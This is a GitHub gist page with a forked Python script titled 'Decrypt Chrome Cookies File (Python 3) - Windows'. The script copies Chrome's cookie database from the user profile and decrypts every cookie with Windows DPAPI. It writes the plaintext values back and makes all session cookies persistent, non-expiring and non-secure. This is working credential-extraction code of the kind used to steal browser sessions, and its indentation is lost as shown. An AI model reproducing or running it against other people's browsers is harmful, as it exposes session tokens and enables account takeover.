Skip to content

Instantly share code, notes, and snippets.

@newbiethetest
Forked from DakuTree/decryptchromecookies.py
Created September 4, 2018 01:13
Show Gist options
  • Save newbiethetest/a4d340e80169daad79b4bc519d2d6a84 to your computer and use it in GitHub Desktop.
Save newbiethetest/a4d340e80169daad79b4bc519d2d6a84 to your computer and use it in GitHub Desktop.
Decrypt Chrome Cookies File (Python 3) - Windows
#Based off https://gist.github.com/DakuTree/98c8362fb424351b803e & pieces of https://gist.github.com/jordan-wright/5770442
from os import getenv
from shutil import copyfile
import sqlite3
import win32crypt #https://sourceforge.net/projects/pywin32/
# Copy Cookies to current folder
copyfile(getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies", './Cookies')
# Connect to the Database
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for host_key, name, value, encrypted_value in cursor.fetchall():
# Decrypt the encrypted_value
decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode('utf-8') or value or 0
# Update the cookies with the decrypted value
# This also makes all session cookies persistent
cursor.execute('\
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, secure = 0\
WHERE host_key = ?\
AND name = ?',
(decrypted_value, host_key, name));
conn.commit()
conn.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment